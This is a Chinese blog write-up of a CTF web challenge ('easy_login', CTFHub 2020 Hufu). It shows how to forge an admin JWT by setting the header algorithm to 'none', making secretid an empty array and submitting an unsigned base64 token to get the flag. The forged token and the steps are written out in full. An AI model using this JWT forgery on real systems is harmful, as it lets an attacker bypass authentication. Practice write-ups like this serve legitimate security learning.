CTFHUB-2020-虎符-Web-easy_login-Node.js-前端JWT

最新推荐文章于 2024-08-21 14:57:37 发布

(∪.∪ )...zzz

最新推荐文章于 2024-08-21 14:57:37 发布

阅读量914

点赞数

本文链接：https://blog.csdn.net/grb819/article/details/117886570

版权

CTF记录专栏收录该内容

13 篇文章 1 订阅

订阅专栏

!!! 看我

登录安全-伪造admin实现getflag
easy_login

在这里插入图片描述

输入用户名密码注册，在这个时候抓包

在这里插入图片描述

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiJhIiwicGFzc3dvcmQiOiJhIiwiaWF0IjoxNjIzNjAyMTgwfQ.VwHlxVpIwoAp8b5NrGjbN56rsZ3IDrt5N9i66aXSYTE"}

在这里插入图片描述

获取flag 涉及到权限/controllers/api.js

在这里插入图片描述

第一个值：header里改成none

{
  "alg": "none",
  "typ": "JWT"
}

在这里插入图片描述
ewogICJhbGciOiAibm9uZSIsCiAgInR5cCI6ICJKV1QiCn0=

第二个值：playload 用户名改成admin

{
“secretid”: [],
“username”: “admin”,
“password”: “a”,
“iat”: 1623602180
}

在这里插入图片描述
ewogICJzZWNyZXRpZCI6IFtdLAogICJ1c2VybmFtZSI6ICJhZG1pbiIsCiAgInBhc3N3b3JkIjogImEiLAogICJpYXQiOiAxNjIzNjAyMTgwCn0K

注意=去掉第二部分后面要加.

ewogICJhbGciOiAibm9uZSIsCiAgInR5cCI6ICJKV1QiCn0.ewogICJzZWNyZXRpZCI6IFtdLAogICJ1c2VybmFtZSI6ICJhZG1pbiIsCiAgInBhc3N3b3JkIjogImEiLAogICJpYXQiOiAxNjIzNjAyMTgwCn0K.

在这里插入图片描述